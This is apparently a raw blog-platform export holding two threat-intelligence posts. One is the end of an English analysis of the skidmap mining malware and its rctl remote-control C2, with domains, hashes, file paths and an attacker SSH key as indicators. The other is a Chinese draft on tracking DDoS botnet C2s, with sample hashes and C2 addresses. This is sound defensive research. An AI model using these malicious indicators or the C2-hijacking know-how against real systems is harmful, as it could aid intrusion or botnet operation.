packets) between 23:00 on November 13, 2020 and 23:00 on November 14, 2020\n\n"}],["markdown",{"markdown":"## Finding Answers\nAlthough from the various correlations mentioned above, it is almost certain that the rctl series domain names must be related to the skidmap malicious mining program. However, the sinkhole data shows that the role of rctl domains is not the same as the disclosed skidmap-related IOC domains.\n\nIn order to figure out the real source of this traffic, we \"infected\" skidmap again in a restricted environment. unsurprisingly, we found a request for the rctl series domain, which was original from ```/usr/bin/irqbalanced\n( ad303c1e121577bbe67b4615a0ef58dc5e27198b)```. It constantly tries to request the rctl* class domain, and we also noticed that rctl-related strings are in the hidden directory list of skidmap's rootkit.\n\nAnalysis of the program revealed that it came from an open source remote control software called rctl (note: the author of the software and the hacker behind skidmap should not be considered the same person because of the open source nature), and the client program was modified to fit skidmap's needs. However, the core protocol of the communication did not change, and the initial 39-byte-long data received by sinkhole was the first packet of the victim's attempt to connect to the C2 master.\n\nSince there was no significant change in the communication protocol, we modified the rctl server software slightly and, as expected, received numerous messages from victims after running the server on the sinkhole server.\n\nAccording to the screenshot of the software running, the console can perform batch remote command execution and single shell login for victims.\n\n\n\nThe connection efficiency of the remote control software is very high, with nearly 900 clients connected shortly after the server started. Considering the order in which clients request the master domain name when connecting, the real number of victimized users is probably much higher than this.\n"}],["markdown",{"markdown":"## Infection Process\nWe will have another article to cover the whole infection process, in regarding to what vulnerabilities skidmap uses to gain access to the victim, the malicious programs (rootkits) that it downloads, the functions of each malicious program, and so on, stay tuned.\n\n## reference\n1. https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html\n2. https://github.com/ycsunjane/rctl\n\n## IOC\n```\nDomains:\nrctl-443.franceeiffeltowers[.]com\nrctl-443.googleblockchaintechnology[.]com\nrctl-443.howoldareyou999[.]com\nrctl-443.ipfswallet[.]tk\nrctl-443.onlinetalk[.]tk\nrctl.franceeiffeltowers[.]com\nrctl.googleblockchaintechnology[.]com\nrctl.howoldareyou999[.]com\nrctl.ipfswallet[.]tk\nrctl.onlinetalk[.]tk\n\nSamples：\necb6f50245706cfbdc6d2098bc9c54f3 irqbalanced\n9c129d93f6825b90fa62d37b01ae3b3c pamdicks\n5840dc51673196c93352b61d502cb779 ip6network\n871a598f0ee903b4f57dbc5020aae293 systemd-network\n\nCertificates：\n4241c714cd2b04f35e49ed593984c6932e1f387c rctl.onlinetalk[.]tk\n3158b9c2e703a67363ac9ee9c1b247c2e1abf4c7 rctl.onlinetalk[.]tk\n5fbad62b7738c76094ab6a05b32425305400183f onlinetalk[.]tk\ne886e1899b636f2875be56b96cf1affdd957348a googleblockchaintechnology[.]com\n\nPaths & Files：\n/etc/rctlconf/rctlcli.cfg\n/etc/rctlconf/certs/rctl_cert.pem\n/etc/rctlconf/certs/rctl_priv.pem\n/etc/rctlconf/certs/rctl_ca.crt\n\nssh login authorized_keys：\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cjOtK8LAcIPBchQkU/qKSGbe7A9MTvrwqBc6trso6UMBpeTWY8loM1082h4HZ4daNJ1S8yB57PtOHSUwG//SD5ahYfOTOInQpU5p7mnczql9UPXO68VXukBpbmjueEwVtXXFnd/9kZzqBroS9zMakKh53URPoKus4d/V7Ct5ecPSo2WDRJDLbewE9ojb+v4R8C4xartjNLsyUXRwqgk1B6LK8JKIWUU55+LoaecFTBoBil+DP2Wxl2RhFaGCHItInwPgmtigYcOH/zMePw+aiXsYMbSzNtQswh3E0h7bpxq7hgilFTglfmrZybF45enkjwr9cfsWpkQ6NQ1nONA9 root@doclever\n```"}]],"markups":[],"sections":[[1,"p",[[0,[],0,"As the foundation and core protocol of the Internet, the DNS protocol carries data that, to a certain extent, reflects a good deal of the user behaviors, thus security analysis of DNS data can cover a decent amount of the malicious activities. \t\t\t\t\t\t"]]],[1,"p",[[0,[],0,"In the early days, typical scenarios for early security practices using DNS data include DGA and fastflux. Although the specific methods for detecting these two types of malicious behavior vary (e.g., detecting DGA domains ranges from a few statistical dimensions to multi-feature machine learning to deep learning detection based on timing, etc.), the core of the detection is still based on pure DNS data. The main reason for this is that the key features of both types of malicious behavior are already evident in the DNS data, and little or no external data is needed for fast and accurate detection. \t\t\t\t\t\t"]]],[1,"p",[[0,[],0,"In reality, however, the traces left by malware in DNS data vary greatly depending on the purpose and environment (e.g., the implementation of protocol stacks by Windows, Linux, macOS, etc.), making it difficult or impossible to efficiently complete the closed loop of data cleansing, aggregation, detection, verification, and defense by relying on DNS data alone. In the face of massive amounts of DNS data (and other basic data as well), big data analytics methods can produce a plenty of (anomalous) clues but characterizing them to produce accurate threat intelligence is another story. "]]],[1,"p",[[0,[],0,"With today's rapid development of data, computing power and machine intelligence algorithms, we believe that one of the future directions of DNS security is the correlation and integration of massive amounts of DNS base data with other multi-dimensional data, which can lead to more in-depth and sophisticated analysis."]]],[10,0],[1,"p",[[0,[],0,"In operating DNSMon, it is now very common that the domains we intercept often take weeks or even months to enter other threat intelligence (domain name IOC) vendors’ lists. Not many folks have ever heard about our system though. We will be following up with a series of articles and selected case studies that illustrate how to start with DNS and combine it with multi-dimensional data to produce domain name IOCs. \t\t\t\t\t\t"]]],[1,"p",[[0,[],0,"In this article, we will look at the first example - the skidmap malicious mining program. \t\t\t\t\t\t\t\t\t\t\t\t\t\t"]]],[10,1],[10,2],[10,3],[10,4],[1,"p",[]]],"ghostVersion":"3.0"} | 5fbf20c5699d440007bba849 |
post | null | 2020-11-26T17:05:10.000Z | 63873b9a8b1c1e0007f52f91 | ddosyang-ben-c2chou-qu-ji-gen-zong-guo-cheng-de-xiang-guan-wen-ti-fen-xi-bao-gao-cao-gao-huan-ying-zhi-zheng | 0 | 2020-11-27T02:24:38.000Z | public | draft | null | null | DDos样本C2抽取及跟踪的相关问题分析报告（草稿，欢迎指正） | <h1 id="-">背景</h1><!--kg-card-begin: markdown--><p>分析报告整理了在日常处理DDos样本中出现的问题，以及相应的检测方法、解决方案和工作量。为了简化分析过程，报告只分析bld，mirai两个家族。但是报告中的问题和方法对其它家族也适用。报告列出的问题是目前看到的常规情况，一些少数特例需要特别处理。</p>
<p>DDos样本的处理流程分为如下四大大环节：</p>
<p>捕获（蜜罐，爬取，VT，etc) -> 预处理（脱壳，yara扫描，样本分析）-> 抽取样本C2（分析员各自的系统）-> 跟踪DDos指令 (Btmon, Beast, etc)</p>
<p>这四个环节有逻辑上的先后顺序，每一环都是下一环的基石。但是每一环的输出又都是有独立价值的，都可以独立评价并利用，所以当前环节的输出暂时不能严格服务于下一环节时（在不影响下一环节产出的情况下），仅满足当前环节的评价标准也是有<br>
意义的。</p>
<p>例如：<br>
1. C2抽取环节，如果暂时不能抽取跟踪环节需要的完整参数而放处理样本非常可惜。只要保证IOC的准确性，仅抽取C2也是有意义的，前提是不影响跟踪程序。<br>
2. 预处理阶段，针对暂时不能脱壳的样本写Yara规则，这对样本打标签也是有意义的。但是要在统计C2抽取环节数据时把这部分数据剔除，这会导致错误评估抽取环节的性能。</p>
<p>本报告先尝试总结 预处理，C2抽取和C2跟踪三个环节常见的问题、原因、检测、解决方法，然后使用上述操作流程对24小时内的生产数据做定量分析和处理，最后根据评测结果评价当前的处理流程的有效性。本报中提出的问题暂时没有给出统一的解决方案，其中有些问题的解决方法是显而易见的，无法解决的问题会给出特别说明。</p>
<!--kg-card-end: markdown--><hr><h2 id="--1">问题整理</h2><h3 id="--2">预处理</h3><pre><code>有问题：
１．漏报
原因：
１．私有壳，脱壳失败。
现有解决方案：找ZhaTu更新脱壳器
永久解决方案：把ZhaTu集成到系统里
２．新变种，Yara规则未命中
解决方案：分析员写规则
检测：
１．mat统计，分析员通过处理未知样本可发现
２．误报：
原因：
１．Yara规则太粗。
解决方案：找对应分析员修正规则，回扫样本修改tag。
检测：
１．mat统计，分析员通过分析C2抽取失败的样本可发现
无问题：正确命中
</code></pre><h3 id="-c2">抽取C2</h3><pre><code>有问题：
１．抽取失败
原因：
１．抽取系统Bug
２．新变种
解析方案：分析员修改抽取系统的代码，解Bug
检测：
１．mat统计
2．抽取错误
原因：
１．抽取系统Bug
２．新变种
解析方案：分析员修改抽取系统的代码，解Bug
检测：
１．mat统计，多系统交叉验证法
无问题：正确抽取
现有的抽取系统从技术手段上分为两大类：针对样本的代码规则类系统（LY,LY），针对流量的流量规则类系统（sandbox，zelos）。
</code></pre><h3 id="--3">指令跟踪</h3><pre><code>有问题：
１．端口未打开（连不上）
原因：
１．抽取错误，相关分析在抽取环节。（这个问题是抽取阶段产生，一般通过交叉验证可以发现，在所有系统都错误时只有跟踪阶段才能发现）
２．Ｃ２过期
解决方案：无
３．Ｃ２不定时上线
解决方案：持续跟踪
检测：
１．mat统计
２．端口开放无指令
原因：
１．协议格式不对
解决方案：分析员分析相关样本升级跟踪程序
２．上线协议中Bot相关信息不对
解决方案：根据攻击阶段的目标设备伪造相应的设备信息
３．tracker IP地址被限制
解决方案：多布点？
４．tracker不在攻击分组之列（？？？地域，设备型号，随机）
解决方案：无
检测：mat统计，多系统交叉验证法可部分检测。
３．指令不全
原因：
１．协议解析出错
解决方案：分析员分析相关样本升级跟踪程序
２．tracker不在攻击分组之列（？？？地域，设备型号，随机）
解决方案：无
检测：mat统计，多系统交叉验证法,暂无
无问题：正确跟踪
</code></pre><h3 id="--4">小结：</h3><!--kg-card-begin: markdown--><p>可以看到不管问题是什么，解决方法无外乎分析员处理未知样本，抽不出来的样本，跟不到C2指令的样本。但是分析员在处理上述相关样本时没有操作规范，处理过程和问题分类没有记录，所以全部处理完时依然不能有效的反应系统做了哪些改动，哪些问题是最多的。</p>
<p>有些问题的检测需要多系统交叉验证，在相同环节引入不同技术原理的系统是有必要的。</p>
<!--kg-card-end: markdown--><hr><h2 id="--5">定量案例分析</h2><!--kg-card-begin: markdown--><p>通过记录２４小时内的样本并手工处理，统计出上述各个问题对应的指标，测量系统现阶段能力。</p>
<!--kg-card-end: markdown--><pre><code>New samples with no C2 extracted:
elfmips64: 24
unknow: 18
mozi_v2: 7
kkbot: 4
elf_android_native: 4
tinydl: 3
bld: 3
bld;elfmips64: 2
mirai_packed: 1
elf_py: 1
mirai: 1
mirai;upxed_mozi: 1
upxed_mozi: 1
elknot_bd: 1
</code></pre><p>mat统计显示</p><pre><code>unknown样本共18个，
bld:3个，mirai:1个 抽取失败
79e64abd5eed18b57f492c97f73a3990 bld ARM
e285a727997b215680b54f325fcfeb6f bld ARM
e9ba8b4ac7a2278c8f3c017ea7c6bbd9 bld ARM
2df780f9ad2c2ee51d5a59ac099ebcd1 mirai x86-64
</code></pre><p>从实际数据出发，对应上面整理的问题，对样本做定量分析。</p><h3 id="--6">预处理</h3><pre><code>漏报：
检测：
需分析18个unknown
处理：
工作量太大，暂不处理（随机分了？）
误报：
检测：
通过分析抽取失败样本发现 2df780f9ad2c2ee51d5a59ac099ebcd1不是mirai，
处理：
需要按未知样本处理流程分析。
mirai yara 规则去误报，回扫样本。
</code></pre><h3 id="-c2-1">抽取C2</h3><pre><code>抽取失败：
检测：
通过分析抽取失败样本发现下面三个样本确为bld，因抽取系统bug抽取失败。
79e64abd5eed18b57f492c97f73a3990，
e285a727997b215680b54f325fcfeb6f，
e9ba8b4ac7a2278c8f3c017ea7c6bbd9
处理：
分析员修改代码，重新处理样本抽c2。
抽取错误:
检测：
mat统计没有结果冲突的c2
处理：
无
</code></pre><h3 id="--7">指令跟踪</h3><pre><code>端口未打开：
检测：
mat显示有18个c2未打开
处理：
分析相关的样本（x86）发现没有抽错的情况。
所以可能是C2过期或者C2不定时、延时上线，trcker会持续监测，分析员无需进一步处理。
端口开放无指令：
检测：
mat显示有8个
处理：
对照之前的问题分析，分析员需要逐个分析是不是跟踪器通信协议有问题。工作量大，暂不处理。
而bot信息不对、tracker IP受限、不在攻击分组之列的问题更是无完美解决方案。
指令不全：
检测：
mat，交叉验证
处理：
分析员需要逐个分析是不是跟踪器通信协议有问题。但不能覆盖全部情况（同上）。
</code></pre><h3 id="--8">小结</h3><!--kg-card-begin: markdown--><p>通过具体案例可以看到分摊任务后，各个阶段的工作量并不是很大，现有的分析力量是可以覆盖的。</p>
<p>但是有一些问题现有的技术手段不能很好的检测验证，这一块是大家发挥相像力的地方，可以做的更精细。</p>
<p>例如，我尝试用Docker来检测跟踪器的协议是否有问题。</p>
<!--kg-card-end: markdown--><hr><h2 id="-docker-">使用Docker验证跟踪协议</h2><!--kg-card-begin: markdown--><p>过滤mat对c2状态的统计结果，端口开放但无指令"ok0 A1 C1"和 端口未开放"ok0 A0 C0"的c2。这两种c2可能包含协议不正确的情况。</p>
<!--kg-card-end: markdown--><pre><code>2020-11-25T14:02:06 ok0 A1 C1 bld_185.239.242.8_23 [email protected]
2020-11-25T13:36:45 ok0 A0 C0 bld_192.3.163.44_666 [email protected]
</code></pre><!--kg-card-begin: markdown--><p>尝试使用Docker来捕捉流量并解析出指令，最后和mat结论对照发现协议不正确的情况。</p>
<!--kg-card-end: markdown--><h3 id="--9">方案</h3><pre><code>环境：
奇云CentOS, tcpdump, iptable, Docker
方法：
用mat定时查过去1小时的ok0的x86样本。
cc加入iptable白名单和tcpdump过滤器。
每隔10分钟测试cc的端口开放情况，如果开放就把样本投入Docker中运行，用tcupdump捕捉流量。
解析流量提取cc指令。
超过一小时无cc指令的退出Docker跟踪阶段，退回端口测试阶段。
统计结果：
系统持续运行24小时，共有31个ok0 c2，其中10个检测到端口开放，2个检测到攻击指令。和mat对照结果完全一致。
</code></pre><h3 id="--10">小结</h3><!--kg-card-begin: markdown--><p>bld，mirai两个家族的跟踪器已经非常完善，因协议错误导致跟踪失败的情况暂时未发现。</p>
<!--kg-card-end: markdown--><h3 id="--11">其它用法：</h3><!--kg-card-begin: markdown--><p>也可用来跟踪协议和交互复杂的样本，只做协议解析，不用构造完整的交互协议。</p>
<!--kg-card-end: markdown--><hr><h2 id="--12">结论</h2><!--kg-card-begin: markdown--><p>现在的各个系统在多次优化之后综合覆盖绝大部分样本，失败的情况比较少。</p>
<!--kg-card-end: markdown--><h2 id="--13">目标</h2><!--kg-card-begin: markdown--><p>可量化 - 计算关键指标，mat已经做了。<br>
可追踪 - 所有样本状态明确，在什么阶段，还有什么流程要走。<br>
可解释 - 指标异常的时候能反应出是什么阶段的什么系统有问题。（是谁的锅？）。<br>
可解决 - 以阶段内的问题为任务，有标准的操作方法，分配到个人。<br>
无错 - 通过所有的检测流程。</p>
<!--kg-card-end: markdown--> | 背景
分析报告整理了在日常处理DDos样本中出现的问题，以及相应的检测方法、解决方案和工作量。为了简化分析过程，报告只分析bld，mirai两个家族。但是报告中的问题和方法对其它家族也适用。报告列出的问题是目前看到的常规情况，一些少数特例需要特别处理。
DDos样本的处理流程分为如下四大大环节：
捕获（蜜罐，爬取，VT，etc) -> 预处理（脱壳，yara扫描，样本分析）-> 抽取样本C2（分析员各自的系统）-> 跟踪DDos指令 (Btmon, Beast, etc)
这四个环节有逻辑上的先后顺序，每一环都是下一环的基石。但是每一环的输出又都是有独立价值的，都可以独立评价并利用，所以当前环节的输出暂时不能严格服务于下一环节时（在不影响下一环节产出的情况下），仅满足当前环节的评价标准也是有
意义的。
例如：
1. C2抽取环节，如果暂时不能抽取跟踪环节需要的完整参数而放处理样本非常可惜。只要保证IOC的准确性，仅抽取C2也是有意义的，前提是不影响跟踪程序。
2. 预处理阶段，针对暂时不能脱壳的样本写Yara规则，这对样本打标签也是有意义的。但是要在统计C2抽取环节数据时把这部分数据剔除，这会导致错误评估抽取环节的性能。
本报告先尝试总结 预处理，C2抽取和C2跟踪三个环节常见的问题、原因、检测、解决方法，然后使用上述操作流程对24小时内的生产数据做定量分析和处理，最后根据评测结果评价当前的处理流程的有效性。本报中提出的问题暂时没有给出统一的解决方案，其中有些问题的解决方法是显而易见的，无法解决的问题会给出特别说明。
问题整理
预处理
有问题：
１．漏报
原因：
１．私有壳，脱壳失败。
现有解决方案：找ZhaTu更新脱壳器
永久解决方案：把ZhaTu集成到系统里
２．新变种，Yara规则未命中
解决方案：分析员写规则
检测：
１．mat统计，分析员通过处理未知样本可发现
２．误报：
原因：
１．Yara规则太粗。
解决方案：找对应分析员修正规则，回扫样本修改tag。
检测：
１．mat统计，分析员通过分析C2抽取失败的样本可发现
无问题：正确命中
抽取C2
有问题：
１．抽取失败
原因：
１．抽取系统Bug
２．新变种
解析方案：分析员修改抽取系统的代码，解Bug
检测：
１．mat统计
2．抽取错误
原因：
１．抽取系统Bug
２．新变种
解析方案：分析员修改抽取系统的代码，解Bug
检测：
１．mat统计，多系统交叉验证法
无问题：正确抽取
现有的抽取系统从技术手段上分为两大类：针对样本的代码规则类系统（LY,LY），针对流量的流量规则类系统（sandbox，zelos）。
指令跟踪
有问题：
１．端口未打开（连不上）
原因：
１．抽取错误，相关分析在抽取环节。（这个问题是抽取阶段产生，一般通过交叉验证可以发现，在所有系统都错误时只有跟踪阶段才能发现）
２．Ｃ２过期
解决方案：无
３．Ｃ２不定时上线
解决方案：持续跟踪
检测：
１．mat统计
２．端口开放无指令
原因：
１．协议格式不对
解决方案：分析员分析相关样本升级跟踪程序
２．上线协议中Bot相关信息不对
解决方案：根据攻击阶段的目标设备伪造相应的设备信息
３．tracker IP地址被限制
解决方案：多布点？
４．tracker不在攻击分组之列（？？？地域，设备型号，随机）
解决方案：无
检测：mat统计，多系统交叉验证法可部分检测。
３．指令不全
原因：
１．协议解析出错
解决方案：分析员分析相关样本升级跟踪程序
２．tracker不在攻击分组之列（？？？地域，设备型号，随机）
解决方案：无
检测：mat统计，多系统交叉验证法,暂无
无问题：正确跟踪
小结：
可以看到不管问题是什么，解决方法无外乎分析员处理未知样本，抽不出来的样本，跟不到C2指令的样本。但是分析员在处理上述相关样本时没有操作规范，处理过程和问题分类没有记录，所以全部处理完时依然不能有效的反应系统做了哪些改动，哪些问题是最多的。
有些问题的检测需要多系统交叉验证，在相同环节引入不同技术原理的系统是有必要的。
定量案例分析
通过记录２４小时内的样本并手工处理，统计出上述各个问题对应的指标，测量系统现阶段能力。
New samples with no C2 extracted:
elfmips64: 24
unknow: 18
mozi_v2: 7
kkbot: 4
elf_android_native: 4
tinydl: 3
bld: 3
bld;elfmips64: 2
mirai_packed: 1
elf_py: 1
mirai: 1
mirai;upxed_mozi: 1
upxed_mozi: 1
elknot_bd: 1
mat统计显示
unknown样本共18个，
bld:3个，mirai:1个 抽取失败
79e64abd5eed18b57f492c97f73a3990 bld ARM
e285a727997b215680b54f325fcfeb6f bld ARM
e9ba8b4ac7a2278c8f3c017ea7c6bbd9 bld ARM
2df780f9ad2c2ee51d5a59ac099ebcd1 mirai x86-64
从实际数据出发，对应上面整理的问题，对样本做定量分析。
预处理
漏报：
检测：
需分析18个unknown
处理：
工作量太大，暂不处理（随机分了？）
误报：
检测：
通过分析抽取失败样本发现 2df780f9ad2c2ee51d5a59ac099ebcd1不是mirai，
处理：
需要按未知样本处理流程分析。
mirai yara 规则去误报，回扫样本。
抽取C2
抽取失败：
检测：
通过分析抽取失败样本发现下面三个样本确为bld，因抽取系统bug抽取失败。
79e64abd5eed18b57f492c97f73a3990，
e285a727997b215680b54f325fcfeb6f，
e9ba8b4ac7a2278c8f3c017ea7c6bbd9
处理：
分析员修改代码，重新处理样本抽c2。
抽取错误:
检测：
mat统计没有结果冲突的c2
处理：
无
指令跟踪
端口未打开：
检测：
mat显示有18个c2未打开
处理：
分析相关的样本（x86）发现没有抽错的情况。
所以可能是C2过期或者C2不定时、延时上线，trcker会持续监测，分析员无需进一步处理。
端口开放无指令：
检测：
mat显示有8个
处理：
对照之前的问题分析，分析员需要逐个分析是不是跟踪器通信协议有问题。工作量大，暂不处理。
而bot信息不对、tracker IP受限、不在攻击分组之列的问题更是无完美解决方案。
指令不全：
检测：
mat，交叉验证
处理：
分析员需要逐个分析是不是跟踪器通信协议有问题。但不能覆盖全部情况（同上）。
小结
通过具体案例可以看到分摊任务后，各个阶段的工作量并不是很大，现有的分析力量是可以覆盖的。
但是有一些问题现有的技术手段不能很好的检测验证，这一块是大家发挥相像力的地方，可以做的更精细。
例如，我尝试用Docker来检测跟踪器的协议是否有问题。
使用Docker验证跟踪协议
过滤mat对c2状态的统计结果，端口开放但无指令"ok0 A1 C1"和 端口未开放"ok0 A0 C0"的c2。这两种c2可能包含协议不正确的情况。
2020-11-25T14:02:06 ok0 A1 C1 bld_185.239.242.8_23 [email protected]
2020-11-25T13:36:45 ok0 A0 C0 bld_192.3.163.44_666 [email protected]
尝试使用Docker来捕捉流量并解析出指令，最后和mat结论对照发现协议不正确的情况。
方案
环境：
奇云CentOS, tcpdump, iptable, Docker
方法：
用mat定时查过去1小时的ok0的x86样本。
cc加入iptable白名单和tcpdump过滤器。
每隔10分钟测试cc的端口开放情况，如果开放就把样本投入Docker中运行，用tcupdump捕捉流量。
解析流量提取cc指令。
超过一小时无cc指令的退出Docker跟踪阶段，退回端口测试阶段。
统计结果：
系统持续运行24小时，共有31个ok0 c2，其中10个检测到端口开放，2个检测到攻击指令。和mat对照结果完全一致。
小结
bld，mirai两个家族的跟踪器已经非常完善，因协议错误导致跟踪失败的情况暂时未发现。
其它用法：
也可用来跟踪协议和交互复杂的样本，只做协议解析，不用构造完整的交互协议。
结论
现在的各个系统在多次优化之后综合覆盖绝大部分样本，失败的情况比较少。
目标
可量化 - 计算关键指标，mat已经做了。
可追踪 - 所有样本状态明确，在什么阶段，还有什么流程要走。
可解释 - 指标异常的时候能反应出是什么阶段的什么系统有问题。（是谁的锅？）。
可解决 - 以阶段内的问题为任务，有标准的操作方法，分配到个人。
无错 - 通过所有的检测流程。
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"分析报告整理了在日常处理DDos样本中出现的问题，以及相应的检测方法、解决方案和工作量。为了简化分析过程，报告只分析bld，mirai两个家族。但是报告中的问题和方法对其它家族也适用。报告列出的问题是目前看到的常规情况，一些少数特例需要特别处理。\n\nDDos样本的处理流程分为如下四大大环节：\n\n捕获（蜜罐，爬取，VT，etc) -> 预处理（脱壳，yara扫描，样本分析）-> 抽取样本C2（分析员各自的系统）-> 跟踪DDos指令 (Btmon, Beast, etc)\n\n这四个环节有逻辑上的先后顺序，每一环都是下一环的基石。但是每一环的输出又都是有独立价值的，都可以独立评价并利用，所以当前环节的输出暂时不能严格服务于下一环节时（在不影响下一环节产出的情况下），仅满足当前环节的评价标准也是有\n意义的。\n\n例如：\n 1. C2抽取环节，如果暂时不能抽取跟踪环节需要的完整参数而放处理样本非常可惜。只要保证IOC的准确性，仅抽取C2也是有意义的，前提是不影响跟踪程序。\n 2. 预处理阶段，针对暂时不能脱壳的样本写Yara规则，这对样本打标签也是有意义的。但是要在统计C2抽取环节数据时把这部分数据剔除，这会导致错误评估抽取环节的性能。\n\n本报告先尝试总结 预处理，C2抽取和C2跟踪三个环节常见的问题、原因、检测、解决方法，然后使用上述操作流程对24小时内的生产数据做定量分析和处理，最后根据评测结果评价当前的处理流程的有效性。本报中提出的问题暂时没有给出统一的解决方案，其中有些问题的解决方法是显而易见的，无法解决的问题会给出特别说明。\n"}],["hr",{}],["code",{"code":"有问题：\n １．漏报 \n 原因：\n １．私有壳，脱壳失败。 \n \t现有解决方案：找ZhaTu更新脱壳器\n \t永久解决方案：把ZhaTu集成到系统里\n ２．新变种，Yara规则未命中\n \t解决方案：分析员写规则\n 检测：\n １．mat统计，分析员通过处理未知样本可发现\n \n ２．误报：\n 原因：\n １．Yara规则太粗。\n 解决方案：找对应分析员修正规则，回扫样本修改tag。\n 检测：\n １．mat统计，分析员通过分析C2抽取失败的样本可发现\n\n无问题：正确命中\n"}],["code",{"code":"有问题：\n １．抽取失败\n 原因：\n １．抽取系统Bug\n ２．新变种\n 解析方案：分析员修改抽取系统的代码，解Bug\n 检测：\n １．mat统计\n\n 2．抽取错误\n 原因：\n １．抽取系统Bug\n ２．新变种\n 解析方案：分析员修改抽取系统的代码，解Bug\n 检测：\n １．mat统计，多系统交叉验证法\n\n无问题：正确抽取\n\n现有的抽取系统从技术手段上分为两大类：针对样本的代码规则类系统（LY,LY），针对流量的流量规则类系统（sandbox，zelos）。\n"}],["code",{"code":"有问题：\n １．端口未打开（连不上）\n 原因：\n １．抽取错误，相关分析在抽取环节。（这个问题是抽取阶段产生，一般通过交叉验证可以发现，在所有系统都错误时只有跟踪阶段才能发现）\n ２．Ｃ２过期\n 解决方案：无\n ３．Ｃ２不定时上线\n 解决方案：持续跟踪\n 检测：\n １．mat统计 \n\n ２．端口开放无指令\n 原因：\n １．协议格式不对\n 解决方案：分析员分析相关样本升级跟踪程序\n ２．上线协议中Bot相关信息不对\n 解决方案：根据攻击阶段的目标设备伪造相应的设备信息\n ３．tracker IP地址被限制\n 解决方案：多布点？\n ４．tracker不在攻击分组之列（？？？地域，设备型号，随机）\n 解决方案：无\n 检测：mat统计，多系统交叉验证法可部分检测。\n\n ３．指令不全\n 原因：\n １．协议解析出错\n 解决方案：分析员分析相关样本升级跟踪程序\n ２．tracker不在攻击分组之列（？？？地域，设备型号，随机）\n 解决方案：无\n 检测：mat统计，多系统交叉验证法,暂无\n\n无问题：正确跟踪\n"}],["markdown",{"markdown":"可以看到不管问题是什么，解决方法无外乎分析员处理未知样本，抽不出来的样本，跟不到C2指令的样本。但是分析员在处理上述相关样本时没有操作规范，处理过程和问题分类没有记录，所以全部处理完时依然不能有效的反应系统做了哪些改动，哪些问题是最多的。\n\n有些问题的检测需要多系统交叉验证，在相同环节引入不同技术原理的系统是有必要的。\n"}],["hr",{}],["markdown",{"markdown":"通过记录２４小时内的样本并手工处理，统计出上述各个问题对应的指标，测量系统现阶段能力。\n"}],["code",{"code":"New samples with no C2 extracted:\nelfmips64: 24\nunknow: 18\nmozi_v2: 7\nkkbot: 4\nelf_android_native: 4\ntinydl: 3\nbld: 3\nbld;elfmips64: 2\nmirai_packed: 1\nelf_py: 1\nmirai: 1\nmirai;upxed_mozi: 1\nupxed_mozi: 1\nelknot_bd: 1\n"}],["code",{"code":"unknown样本共18个，\nbld:3个，mirai:1个 抽取失败\n79e64abd5eed18b57f492c97f73a3990 bld ARM\ne285a727997b215680b54f325fcfeb6f bld ARM\ne9ba8b4ac7a2278c8f3c017ea7c6bbd9 bld ARM\n2df780f9ad2c2ee51d5a59ac099ebcd1 mirai x86-64\n"}],["code",{"code":"漏报：\n 检测：\n 需分析18个unknown\n 处理：\n 工作量太大，暂不处理（随机分了？）\n\n误报：\n 检测： \n 通过分析抽取失败样本发现 2df780f9ad2c2ee51d5a59ac099ebcd1不是mirai，\n\n 处理：\n 需要按未知样本处理流程分析。\n mirai yara 规则去误报，回扫样本。\n"}],["code",{"code":"抽取失败：\n 检测：\n 通过分析抽取失败样本发现下面三个样本确为bld，因抽取系统bug抽取失败。\n 79e64abd5eed18b57f492c97f73a3990，\n e285a727997b215680b54f325fcfeb6f，\n e9ba8b4ac7a2278c8f3c017ea7c6bbd9\n\n 处理：\n 分析员修改代码，重新处理样本抽c2。\n\n抽取错误:\n 检测：\n mat统计没有结果冲突的c2\n 处理：\n 无\n"}],["code",{"code":"端口未打开：\n 检测：\n mat显示有18个c2未打开\n\n 处理：\n 分析相关的样本（x86）发现没有抽错的情况。\n 所以可能是C2过期或者C2不定时、延时上线，trcker会持续监测，分析员无需进一步处理。\n\n端口开放无指令：\n 检测：\n mat显示有8个\n\n 处理：\n 对照之前的问题分析，分析员需要逐个分析是不是跟踪器通信协议有问题。工作量大，暂不处理。\n 而bot信息不对、tracker IP受限、不在攻击分组之列的问题更是无完美解决方案。\n\n指令不全：\n 检测：\n mat，交叉验证\n\n 处理：\n 分析员需要逐个分析是不是跟踪器通信协议有问题。但不能覆盖全部情况（同上）。\n"}],["markdown",{"markdown":"通过具体案例可以看到分摊任务后，各个阶段的工作量并不是很大，现有的分析力量是可以覆盖的。\n\n但是有一些问题现有的技术手段不能很好的检测验证，这一块是大家发挥相像力的地方，可以做的更精细。\n\n例如，我尝试用Docker来检测跟踪器的协议是否有问题。"}],["hr",{}],["markdown",{"markdown":"过滤mat对c2状态的统计结果，端口开放但无指令\"ok0 A1 C1\"和 端口未开放\"ok0 A0 C0\"的c2。这两种c2可能包含协议不正确的情况。\n\n"}],["code",{"code":"2020-11-25T14:02:06 ok0 A1 C1 bld_185.239.242.8_23 [email protected]\n2020-11-25T13:36:45 ok0 A0 C0 bld_192.3.163.44_666 [email protected]\n"}],["markdown",{"markdown":"尝试使用Docker来捕捉流量并解析出指令，最后和mat结论对照发现协议不正确的情况。"}],["code",{"code":"环境：\n 奇云CentOS, tcpdump, iptable, Docker\n\n方法：\n 用mat定时查过去1小时的ok0的x86样本。\n cc加入iptable白名单和tcpdump过滤器。\n 每隔10分钟测试cc的端口开放情况，如果开放就把样本投入Docker中运行，用tcupdump捕捉流量。\n 解析流量提取cc指令。\n 超过一小时无cc指令的退出Docker跟踪阶段，退回端口测试阶段。\n\n\n统计结果：\n 系统持续运行24小时，共有31个ok0 c2，其中10个检测到端口开放，2个检测到攻击指令。和mat对照结果完全一致。\n"}],["markdown",{"markdown":"bld，mirai两个家族的跟踪器已经非常完善，因协议错误导致跟踪失败的情况暂时未发现。"}],["markdown",{"markdown":"也可用来跟踪协议和交互复杂的样本，只做协议解析，不用构造完整的交互协议。"}],["hr",{}],["markdown",{"markdown":"现在的各个系统在多次优化之后综合覆盖绝大部分样本，失败的情况比较少。"}],["markdown",{"markdown":"可量化 - 计算关键指标，mat已经做了。\n可追踪 - 所有样本状态明确，在什么阶段，还有什么流程要走。\n可解释 - 指标异常的时候能反应出是什么阶段的什么系统有问题。（是谁的锅？）。\n可解决 - 以阶段内的问题为任务，有标准的操作方法，分配到个人。\n无错 - 